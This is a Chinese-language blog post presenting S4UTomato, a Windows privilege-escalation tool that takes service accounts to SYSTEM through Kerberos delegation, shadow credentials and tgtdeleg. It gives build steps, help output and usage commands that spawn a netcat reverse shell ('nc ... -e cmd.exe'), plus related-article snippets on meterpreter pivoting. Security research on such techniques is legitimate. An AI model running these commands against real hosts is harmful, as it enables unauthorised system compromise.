S4UTomato通过Kerberos将服务账号提权为LocalSystem

上官雨宝2023-12-12 17:23:01

关于S4UTomato

S4UTomato是一款功能强大的权限提升工具,该工具专为蓝队研究人员设计,可以通过Kerberos将服务账号(Service Account)权限提升为LocalSystem。

工具运行机制

熟悉“Potato”系列权限提升工具的研究人员肯定知道,这类工具可以将服务账号提升为本地系统权限,“Potato”所使用的技术和S4UTomato类似,即利用COM接口的特定功能,欺骗NT AUTHORITY\SYSTEM账号跟攻击者控制的RPC服务器进行连接,并完成身份认证。接下来,通过一系列API调用,并在身份认证过程中执行中间人攻击(NTLM中继),以生成针对目标本地系统中NT AUTHORITY\SYSTEM账号的访问令牌。最后,攻击者将能够获取到这个令牌,然后使用CreateProcessWithToken()或CreateProcessAsUser()函数传递令牌,并创建一个新的进程来获取SYSTEM权限。

Kerbero的角色

在Windows域环境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE和Microsoft虚拟帐户可以用于对加入域的系统计算机帐户进行身份验证,而在现代版本的Windows中,大多数Windows服务默认使用Microsoft虚拟帐户运行。值得注意的是,IIS和MSSQL也在使用这些虚拟帐户。因此,我们可以使用S4UTomato来获取本地机器上域管理员帐户“administrator”的服务凭证,然后在SCMUACBypass工具的帮助下,利用该凭证创建系统服务并获得SYSTEM权限。

在计算机加入域的任意情况下,只要我们能够在Windows服务帐户或Microsoft虚拟帐户的上下文下运行代码,就可以利用上述技术进行本地权限提升。

在执行操作之前,我们需要为本地设备账户获取TGT,但由于服务账户权限的限制,导致我们无法获取到长期密钥,因此无法构造KRB_AS_REQ请求。为了实现上述目标,S4UTomato利用了三种技术:基于资源的约束委派影子凭据Tgtdeleg

工具下载

由于该工具基于C#开发,因此我们首先需要在本地设备上安装并配置好最新版本的Visual Studio。

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/wh0amitz/S4UTomato.git

然后在Visual Studio中导入项目,并完成代码构建和编译即可。

工具使用帮助

C:\Users\whoami\Desktop>S4UTomato.exe --help

 

S4UTomato 1.0.0-beta

Copyright (c) 2023

 

  -d, --Domain              需要认证的目标域名(FQDN)

  -s, --Server               域控制器或LDAP服务器的主机名称

  -m, --ComputerName        需要创建的新计算机账号

  -p, --ComputerPassword    新创建计算机账号的密码

  -f, --Force               强制更新计算机对象的'msDS-KeyCredentialLink'属性

  -c, --Command             需要运行的程序

  -v, --Verbose              输出Verbose调试信息

  --help                    显示工具帮助信息

  --version                 显示工具版本信息

工具使用演示

通过基于资源的约束委派实现本地特权提升

S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

通过影子凭证实现本地特权提升

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

通过Tgtdeleg实现本地特权提升

# 首先通过Tgtdeleg获取TGT

S4UTomato.exe tgtdeleg

# 然后运行SCMUACBypass 获取SYSTEM权限

S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

项目地址

S4UTomato:https://github.com/wh0amitz/S4UTomato

参考资料

https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
https://twitter.com/gentilkiwi/status/998219775485661184
https://github.com/GhostPack/Rubeus#tgtdeleg


kerberossystem
本作品采用《CC 协议》,转载必须注明作者和本文链接
Kerberos认证介绍Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
内网渗透TIPS总结
2023-01-28 11:00:41
内网基础知识1、工作组:工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
发现内网主机:10.10.10.2、10.10.10.4在meterpreter中输入命令 shell 进入 成员服务器Winserver 2008-2 的命令行,使用命令查看网络详细情况meterpreter > shell. 通过这些信息可以判断 成员服务器Winserver 2008-2 在 ocean.com 域中,根据 DNS 信息判断域控主机 IP 为10.10.10.2设置路由使用 Nmap 对内网主机进行扫描meterpreter > background. msf5 exploit > route add 10.10.10.3 255.255.255.0 1. # 将被控机成员服务器Winserver 2008-2的IP添加到 MSF 中,这是给kali增加的路由,添加之后kali才才能找到内网主机
"Potato"的早期利用技术几乎完全相同:利用 COM 接口的某些特性,欺骗 NT AUTHORITY\SYSTEM 账户连接并验证攻击者控制的 RPC 服务器。最后,该令牌被窃取,然后使用 CreateProcessWithToken() 或 CreateProcessAsUser() 函数传递令牌并创建一个新进程以获取 SYSTEM 权限。在 Windows 域环境中,加入域的系统计算机帐户使用 SYSTEM、NT AUTHORITY\NETWORK SERVICE 和 Microsoft 虚拟帐户进行身份验证。
S4UTomato是一款功能强大的权限提升工具,该工具专为蓝队研究人员设计,可以通过Kerberos将服务账号(Service Account)权限提升为LocalSystem。
kerberos协议从0到1
2021-10-12 14:26:38
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
kerberos委派详解
2021-10-08 14:49:15
委派域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。服务账号,域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。
本文是很久之前做的笔记,今天有空又梳理了一下,分享出来。如果有错误或疏漏,欢迎留言指出。 Kerberos是一种基于票据的、集中式的网络认证协议,适用于C/S模型,由MIT开发和实现(http://web.mit.edu/kerberos/dist/)。 这里所谓的认证,就是保证使用票据(Ticket)的用户必须是票据中指定的用户。 简单回忆一下,密码学涉及机密性、完整性、认证性(实体认证+
本文主要记录了如何通过一些列操作,将生成的keytab导入wireshark,实现可以在wireshark中直接对Kerberos协议加密部分进行解密的一个过程,避免大家踩坑。
域渗透重要漏洞汇总
上官雨宝
是水水水水是